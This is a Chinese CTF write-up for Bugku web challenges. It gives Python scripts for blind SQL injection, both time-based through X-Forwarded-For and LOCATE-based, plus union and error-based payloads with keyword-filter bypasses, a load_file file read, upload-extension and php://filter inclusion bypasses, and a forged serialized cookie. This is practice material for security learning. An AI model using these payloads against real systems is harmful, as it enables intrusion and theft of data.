extract函数将字符串里面的变量定义进行了操作,即是输入?a=1&b=2,在本页面也会出现变量$a=1,$b=2,那么按照这个特性,简单的构造即可。

这里要求的fn又是要求包含文件,而且内容要和我们输入的一致,使用php://input的伪协议绕过即可。构造的payload为http://120.24.86.145:8002/web8/?fn=php://input&ac=1,然后通过post提交1即可得到flag,

细心-杂

打开后是404,但是看着不是真正的404,而是写出来的而已,然后看源码,抓包都没有什么发现,最后只能用御剑开始扫描,扫出来一个robots.txt的文件,然后访问,发现resusl.php,访问,看见

1
if ($_GET[x]==$password) 此处省略1w字

想到提示说是变成admin,开个脑洞,直接?x=admin,获得flag。

求getshell-文件上传-没懂

看了是文件上传的,说了要上传的是图片而非PHP文件,那么直接上传个图片文件,然后bp抓包。

以下是百度的结果:

大佬说这道题是后缀名黑名单检测和类型检测

如果是walf严格匹配,通过修改Content-type后字母的大小写可以绕过检测,使得需要上传的文件可以到达服务器端,而服务器的容错率较高,一般我们上传的文件可以解析。然后就需要确定我们如何上传文件,这里将文件的后缀名改为.jpg和.png都不可行,在分别将后缀名修改为php2, php3, php4, php5, phps, pht, phtm, phtml(php的别名),发现只有php5没有被过滤,成功上传,得到flag。

1531231225563

INSERT INTO注入

直接就给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

上面的getIp函数,就是获取我们上传的ip地址,则用X-Forwarded-For来提交我们的payload。而$ip_arr = explode(',', $ip);return $ip_arr[0];,这里是指以,分离我们的payload成数组,并返回数组的第一个,说明我们提交的payload不能出现逗号。

下面$sql="insert into client_ip (ip) values ('$ip')";则是一个注入点,题目也说了是insert into注入,那就简单了,构造相应的payload即可。而error_reporting(0);关闭了错误回显,insert注入本身又没有回显,所以要用别的方法来注入,我选的是基于时间的注入。

重点的payload为:1'+(select case when (substring((select database()) from "+str(pos)+" for 1)='"+str(word)+"') then sleep(5) else 1 end) and '1

select case when a else b end,这个格式就是当case为真时,运行a,否则运行b。

substring((select database()) from "+str(pos)+" for 1)='"+str(word)+"'),这里是因为不能用,,所以就用from 1 for 1来表示1,1,这里相当于substring((select database()) 1,1)

爆数据库的注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

words='1234567890!@$%^&*()_+=-|}{POIUYTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./`~'
url='http://120.24.86.145:8002/web15/'
s=requests.Session()

keyword=''

for pos in range(1,100): #设长度小于100
flag=0
for word in words:
try:
headers={'X-Forwarded-For':"1'+(select case when (substring((select database()) from "+str(pos)+" for 1)='"+str(word)+"') then sleep(5) else 1 end) and '1"}
r=s.get(url,headers=headers,timeout=4)
#print r.text
except requests.exceptions.ReadTimeout: #超时的操作,超时表示匹配成功
keyword+=str(word)
print str(pos)+'---'+str(word)
flag=1
break
if(flag==0):
break
print keyword

爆表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

words='1234567890!@$%^&*()_+=-|}{POIUYTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./`~'
url='http://120.24.86.145:8002/web15/'
s=requests.Session()

keyword=''

for i in range(100):
keyword=''
flag1=0
for pos in range(1,100): #设长度小于100
flag=0
for word in words:
try:
headers={'X-Forwarded-For':"1'+(select case when (substring((select table_name from information_schema.tables where table_schema=database() limit 1 offset "+str(i)+") from "+str(pos)+" for 1)='"+str(word)+"') then sleep(5) else 1 end) and '1"}
r=s.get(url,headers=headers,timeout=4)
#print r.text
except requests.exceptions.ReadTimeout: #超时的操作,超时表示匹配成功
keyword+=str(word)
print str(pos)+'---'+str(word)
flag=1
flag1=1
break
if(flag==0):
break
print keyword
if(flag1==0):
break

爆列名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests

words='1234567890!@$%^&*()_+=-|}{POIUYTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./`~'
url='http://120.24.86.145:8002/web15/'
s=requests.Session()

keyword=''

for i in range(100):
keyword=''
flag1=0
for pos in range(1,100): #设长度小于100
flag=0
for word in words:
try:
headers={'X-Forwarded-For':"1'+(select case when (substring((select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 1 offset "+str(i)+") from "+str(pos)+" for 1)='"+str(word)+"') then sleep(5) else 1 end) and '1"}
r=s.get(url,headers=headers,timeout=4)
#print r.text
except requests.exceptions.ReadTimeout: #超时的操作,超时表示匹配成功
keyword+=str(word)
print str(pos)+'---'+str(word)
flag=1
flag1=1
break
if(flag==0):
break
print keyword
if(flag1==0):
break

爆flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests


words='1234567890!@$%^&*()_+=-|}{POIUYTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./`~'
url='http://120.24.86.145:8002/web15/'
s=requests.Session()

keyword=''

for i in range(100):
keyword=''
flag1=0
for pos in range(1,100): #设长度小于100
flag=0
for word in words:
try:
headers={'X-Forwarded-For':"1'+(select case when (substring((select flag from flag limit 1 offset "+str(i)+") from "+str(pos)+" for 1)='"+str(word)+"') then sleep(5) else 1 end) and '1"}
r=s.get(url,headers=headers,timeout=4)
#print r.text
except requests.exceptions.ReadTimeout: #超时的操作,超时表示匹配成功
keyword+=str(word)
print str(pos)+'---'+str(word)
flag=1
flag1=1
break
if(flag==0):
break
print keyword
if(flag1==0):
break

这是一个神奇的登陆框-注入

可以看到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<div >
<!-- UserName : -->
<input class="op" type="text" name="admin_name" value="" placeholder="Username"/>
</div>
<div style="margin-top:15px;">
<!-- PassWord : -->
<input class="op" type="password" name="admin_passwd" value="" placeholder="Password"/>
<!--**************************************-->
<!--23333-->
<!--**************************************-->
</div></br>
<div style=" margin-top:-11px;">
<input class="login" type="submit" name="submit" value="GO GO GO" />
</div>

先是输入1',然而却还是一样,重新输入1"后发现居然会报错,那么可以确定可以注入,而且使用"来闭合的。然后再输入1" or 1=1 #,有回显,那么就简单了。

输入1" order by 3 #,发现报错,那么查询只有两个值。

现在来获得数据库的名字-1" union select database(),1 #,当前数据库为bugkusql1

然后再获取表名-1" union select concat(table_name),1 from information_schema.tables where table_schema='bugkusql1' #得到表名为flag1。

最后来获取列名-1" union select concat(column_name),1 from information_schema.columns where table_schema='bugkusql1' and table_name='flag1' #得到列名为flag1。

知道表名和列名直接-1" union select flag1,1 from flag1 #,即可获得flag。

也可以使用sqlmap来进行暴库,详情见https://blog.csdn.net/qq_38412357/article/details/79559039

多次-注入

这一题真好玩,打开后,看见url的id=1,那就输入几个id试试,当id=5的时候说可以注入,那id应该就是注入点了,输入id=1',发现报错error。

再次输入id=1' #发现还是报错,猜是过滤了#,试一下输入id=1' %23,发现正常。

然后输入id=1' and 1=1 %23,发现出错了,那应该是过滤了部分单词,那么就要试出过滤了什么。

首先是输入id=1'^1 %23,结果为0,那么按理报错,若是报错,再输入id=1'^0 %23,结果为1,要是不报错,则说明这方法可以用。这里利用的就是异或。

然后开始来尝试看看有哪些关键字被过滤了,构造的payload为id=1'^(length('and')!=0) %23,当关键字被过滤,长度则为0,那么应该正常输出。要是报错则说明没有被过滤。

可以试出来有被过滤的有and,or,union,select,没有被过滤的为 concat,from,where,order,by

我们可以再次输入id=1'^(length('anandd')!=0) %23,来判断是否是只过滤了一次,要是报错,则是只过滤了一次,就简单了。测试说明是对的,所以剩下的就是暴库了。

回想起之前输入不同的id有不同的回显,那么应该是有回显的注入,输入id=-1' ununionion selselectect 1,database() %23,发现数据库的名字为web1002-1,剩下的就简单了个屁呀。

注:information里面也有or,所以应该是infroorrmation,日了。

然后获得表名-1' ununionion selselectect 1,table_name from infoorrmation_schema.tables where table_schema=database() %23,发现表名为flag1。

然后获取列名-1' ununionion selselectect 1,column_name from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' %23,发现列名为flag1。

剩下直接就搜索了id=-1' ununionion selselectect 1,flag1 from flag1 %23,得到了flag:usOwycTju+FTUUzXosjr,然而说有两个flag,所以继续在库里加油。

可以跳过下面这里,原来是flag1表里有多个列,蠢了:

构造payload来获取当前的数据库-1' ununionion selselectect 1,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() %23,发现有另外一个表:hint

那么就获取hint表的列名id=-1' ununionion selselectect 1,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='hint' %23,发现有两列,idcontents

剩下就搜索了,然而发现这个就是我们之前web显示的内容。。。

那重来,构造payload来获取所有的数据库-1' ununionion selselectect 1,group_concat(table_name) from infoorrmation_schema.tables %23发现表一共有:

1
character_sets,collations,collation_character_set_applicability,columns,column_privileges,engines,events,files,global_status,global_variables,key_column_usage,parameters,partitions,plugins,processlist,profiling,referential_constraints,routines,schemata,schema_privileges,session_status,session_variables,statistics,tables,tablespaces,table_constraints,table_privileges,triggers,user_privileges,views,innodb_buffer_page,innodb_trx,innodb_buffer_pool_stats,innodb_lock_waits,innodb_cmpmem,innodb_cmp,innodb_locks,innodb_cmpmem_reset,innodb_cmp_reset,innodb_buffer_page_lru,flag1,hint

没有什么特殊的表,忽然想到应该是flag1表里有多列,输入-1' ununionion selselectect 1,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() anandd table_name='flag1' %23,发现还有一列address

然后重新输入-1' ununionion selselectect 1,group_concat(address) from flag1 %23,获得下一关地址。

和之前的操作一样试了试,感觉都差不多,都有过滤,而且有回显我的输入,所以很好判断过滤了什么。

过滤的:union,sleep,substr,而且不是之前那种只过滤了一次,要用别的方法来绕过。

然而百度后,有两种方法可以做:

法一:

UpdateXml,mysql基于错误回显的注入:https://www.cnblogs.com/MiWhite/p/6228491.htmlhttps://blog.csdn.net/m0_37438418/article/details/80260813

相应的wp:https://blog.csdn.net/u011377996/article/details/79340100#t17

总结一下,构造的payload类似1' and updatexml(1,concat(1,database()),1) %23

1
2
3
4
5
UPDATEXML (XML_document, XPath_string, new_value); 
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值

使用updataxml这个函数,然而第二个参数要求是Xpath类型的变量。而concat(x1,x2)函数返回的字符串,不符合条件,所以会报错。顺便一提的是这里payload的1都是随意的,任意值均可,毕竟本来就是基于报错的。(这个是个设想,在本题是这样的,还不清楚别的怎么样)

因为本次注入有错误提示,所以我们可以基于错误的注入:

首先是数据库名字:1' and updatexml(1,concat(1,database()),1) %23

然后是表名:1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) %23,注意,select这个短语要括起来,要不会报错。现在爆出表名class,flag2

再去flag2爆出列1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag2')),1) %23,爆出列为flag2,address

最后就简单了:1' and updatexml(1,concat(1,(select group_concat(flag2) from flag2)),1) %23,成功爆出flag,记得是全部小写。

法二:

相应wp:https://www.cnblogs.com/nienie/p/8524519.html

所构造的payload为url = "http://120.24.86.145:9004/Once_More.php?id=1'and (select locate(binary'" + str(i) + "',(select table_name from information_schema.tables where table_schema=database() limit 0,1)," + str(j) + "))=" + str(j) + "%23"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
LOCATE(substr,str)
POSITION(substr IN str)
返回子串 substr 在字符串 str 中第一次出现的位置。如果子串 substr 在 str 中不存在,返回值为 0:

LOCATE(substr,str,pos)
指定其实位置:
SELECT LOCATE('bar', 'foobarbar',5); --> 7 (从foobarbar的第五个位置开始查找)

BINARY不是函数,是类型转换运算符,它用来强制它后面的字符串为一个二进制字符串,可以理解为在字符串比较的时候区分大小写
如下:
mysql> select binary 'ABCD'='abcd' COM1, 'ABCD'='abcd' COM2;
+--------+-----------+
| COM1 | COM2 |
+--------+-----------+
| 0 | 1 |
+---------+-----------+
1 row in set (0.00 sec)

翻译过来的语句如下:

(select locate(binary'word',(select table_name from information_schema.tables where table_schema=database() limit 0,1),postion))=postion#

总的意思是先用里面select返回语句,然后用locate来判断某个字符是否在其中,在的话返回位置。

然后剩下的只要py即可:

首先是爆数据库的表名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

words='1234567890!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./`~'
url='http://120.24.86.145:9004/Once_More.php'
s=requests.Session()


for i in range(100):
zzz=0
keyword=''
print '====================================================================='
for pos in range(1,100):
flag=0
for word in words:
sql=url+"?id=1' and (select locate(binary'"+str(word)+"',(select table_name from information_schema.tables where table_schema=database() limit "+str(i)+",1),"+str(pos)+"))="+str(pos)+" %23"
r=s.get(sql)
if 'Hello' in r.text:
flag=1
zzz=1
print str(pos)+"----"+str(word)
keyword+=str(word)
break
if(flag==0):
break
print keyword
if(zzz==0):
break

然后是爆出列名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

words='1234567890!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./`~'
url='http://120.24.86.145:9004/Once_More.php'
s=requests.Session()


for i in range(100):
zzz=0
keyword=''
print '====================================================================='
for pos in range(1,100):
flag=0
for word in words:
sql=url+"?id=1' and (select locate(binary'"+str(word)+"',(select column_name from information_schema.columns where table_schema=database() and table_name='flag2' limit "+str(i)+",1),"+str(pos)+"))="+str(pos)+" %23"
r=s.get(sql)
if 'Hello' in r.text:
flag=1
zzz=1
print str(pos)+"----"+str(word)
keyword+=str(word)
break
if(flag==0):
break
print keyword
if(zzz==0):
break

最后是爆出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests

words='1234567890!@$%^&*()_+=-|}{POIU YTREWQASDFGHJKL:?><MNBVCXZqwertyuiop[];lkjhgfdsazxcvbnm,./`~'
url='http://120.24.86.145:9004/Once_More.php'
s=requests.Session()


for i in range(100):
zzz=0
keyword=''
print '====================================================================='
for pos in range(1,100):
flag=0
for word in words:
sql=url+"?id=1' and (select locate(binary'"+str(word)+"',(select flag2 from flag2 limit "+str(i)+",1),"+str(pos)+"))="+str(pos)+" %23"
r=s.get(sql)
if 'Hello' in r.text:
flag=1
zzz=1
print str(pos)+"----"+str(word)
keyword+=str(word)
break
if(flag==0):
break
print keyword
if(zzz==0):
break

PHP_encrypt_1(ISCCCTF)-代码审计

题目的源码日常不完整,不给加密后的值,拿头做呀

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
function encrypt($data,$key)
{
$key = md5('ISCC');
$x = 0;
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);
}
return base64_encode($str);
} ?>
output: fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=

翻译一下,首先是获得了ISCC的md5值,然后从ISCC的md5值取出和所要加密数据一样长的字符作为秘钥,要是ISCC的md5值不够长,那就重复。现在明文和秘钥都有了,依次取这两个的ASCII值,相加后取余128,再变回字符。

大佬写好的php脚本,基本是直接改了加密的脚本,简洁呀。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function decrypt()
{
$key = md5('ISCC');
$data = base64_decode('fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=');
$len = strlen($data);
$klen = strlen($key);
for ($i=0; $i < $len; $i++) {
if ($x == $klen)
{
$x = 0;
}
$char .= $key[$x];
$x+=1;
}
for ($i=0; $i < $len; $i++) {
$tmp = ord($data[$i]) - ord($char[$i]) + 128;
$str .= chr($tmp > 128 ? $tmp-128:$tmp);
}
echo $str;
}
decrypt();
?>

Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}

文件包含2–未完成

可以使用<script language=php> </script>标签绕过这个验证

flag.php-代码审计

打开后发现是输入框,然而看了下源码

1
2
3
4
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>

这些输入框和按钮都是浮云,没有用的,然后用工具扫半天,啥也没有。百度之后才知道是通过get方法提交一个hint变量,就可以看见源码。payload为:http://120.24.86.145:8002/flagphp/index.php?hint=a

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 <?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>

<?php
}
$KEY='ISecer:www.isecer.com';
?>

发现又是一个关于序列化和反序列化的,那么只需要去构造一个序列化后的payload即可。

1
2
3
4
<?php
$a="ISecer:www.isecer.com";
echo serialize($a)
?>

则我们要的即是s:21:"ISecer:www.isecer.com";,然而这是一个坑,$KEY是后面才定义的,前面的$KEY还没有定义,即为空。所以我们要的payload为:s:0:"";,null和空在弱类型里面是相等的。

1
2
3
4
5
6
7
8
9
GET /flagphp/index.php HTTP/1.1
Host: 120.24.86.145:8002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Cookie: ISecer=s:0:"";
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

得到flag。

sql注入2

名字是sql注入,但实际上和sql注入一点关系都没有,是敏感文件泄露。用nikto扫描网站

1532617261306

发现是.DS_Store文件泄露,该文件是mac下的文件信息。

1
2
3
DS_Store文件介绍

DS_Store 是给Finder用来存储这个文件夹的显示属性的:比如文件图标的摆放位置。删除以后的副作用就是这些信息的失去。(当然,这点副作用其实不是太大).

然后用大佬写好的工具直接运行即可获得目标网站的地址。

.DS_Store文件泄漏利用工具: ds_store_exp:http://www.lijiejie.com/ds_store_exp_ds_store_file_disclosure_exploit/

1532617412874

孙xx的博客

wp:

https://delcoding.github.io/2018/03/bugku-writeup4/

报错注入

打开后说是过滤一打词语,之后结合题目是报错注入,那就使用extractvalue()或者updatexml() 这两个函数来报错。原理是其中一个变量要求是Xpath的,而我们用concat合成的字符串不符合条件导致报错。之前用过updatexml了,这一次使用extractvalue。

而他所过滤的空格可以使用回车换行符还替代即%0a%0d

先尝试以下注入,获得回显。

1
?id=1%0Aand%0Aextractvalue(1,concat(0x7e,(select%0Adatabase()),0x7e))%0A%23

0x7e即是~,这样子输出就会有~作为开始和结束的标志,记得select一句一定要括起来,要不不会有结果。

然后题目的要求是读取文件,我们就可以使用load_file(十六进制的文件名)这个函数来读取文件,注意要将文件名转成十六进制,而又有个问题是extractvalueupdatexml这两个函数的报错返回只有32个字符,再加上~,那么一次只能输出30个字符,这里就用substr来截取相应的字符串,注意是从0开始的。

相应的payload如下,

1
id=1%0Aand%0Aextractvalue(0x7e,concat(0x7e,substr(load_file(0x2f7661722f746573742f6b65795f312e706870),1,30),0x7e))%0A%23

这里有个问题是从1开始的话,会无法显示内容,是因为最开始有<?php,导致内容被游览器解析了,就无法显示了,从2开始即没有问题。

也有个解决方法就是运行hex()函数,返回出十六进制内容,即没有问题,相应的payload为:

1
id=1%0Aand%0Aextractvalue(0x7e,concat(0x7e,substr(hex(load_file(0x2f7661722f746573742f6b65795f312e706870)),31,30)))%0A%0A%23

然后即可获得flag。记得套用他的模板,他的模板里的双引号不正常。

文件上传2(湖湘杯)

这题贼坑,说是文件上传,实际上是敏感文件泄露吧,扫一下网站发现有flag.php,那就尝试一下http://120.24.86.145:9011/?op=php://filter/read=convert.base64-encode/resource=flag.php,说没有该文件,那说明我们至少没弄错,然后输入http://120.24.86.145:9011/?op=php://filter/read=convert.base64-encode/resource=flag,即会发现能够正常输出flag,base64解密即可。

可以去看看别的网页源码,下面是index.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
error_reporting(0);
define('FROM_INDEX', 1);

$op = empty($_GET['op']) ? 'home' : $_GET['op'];
if(!is_string($op) || preg_match('/\.\./', $op))
die('Try it again and I will kill you! I freaking hate hackers!');
ob_start('ob_gzhandler');

function page_top($op) {
?><!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Panduploader::<?= htmlentities(ucfirst($op)); ?></title>
</head>
<body>
<div id="header">
<center><a href="?op=home" class="logo"><img src="images/logo.jpg" alt=""></a></center>
</div>
<div id="body">
<?php
}

function fatal($msg) {
?><div class="article">
<h2>Error</h2>
<p><?=$msg;?></p>
</div><?php
exit(1);
}

function page_bottom() {
?>
</div>
<center>
<div id="footer">
<div>
<p>
<span>2017 &copy; </span> All rights reserved.
</p>
</div>
</div>
</center>
</body>
</html><?php
ob_end_flush();
}

register_shutdown_function('page_bottom');

page_top($op);

if(!(include $op . '.php'))
fatal('no such page');
?>

发现include的时候附加了.php

未完,待续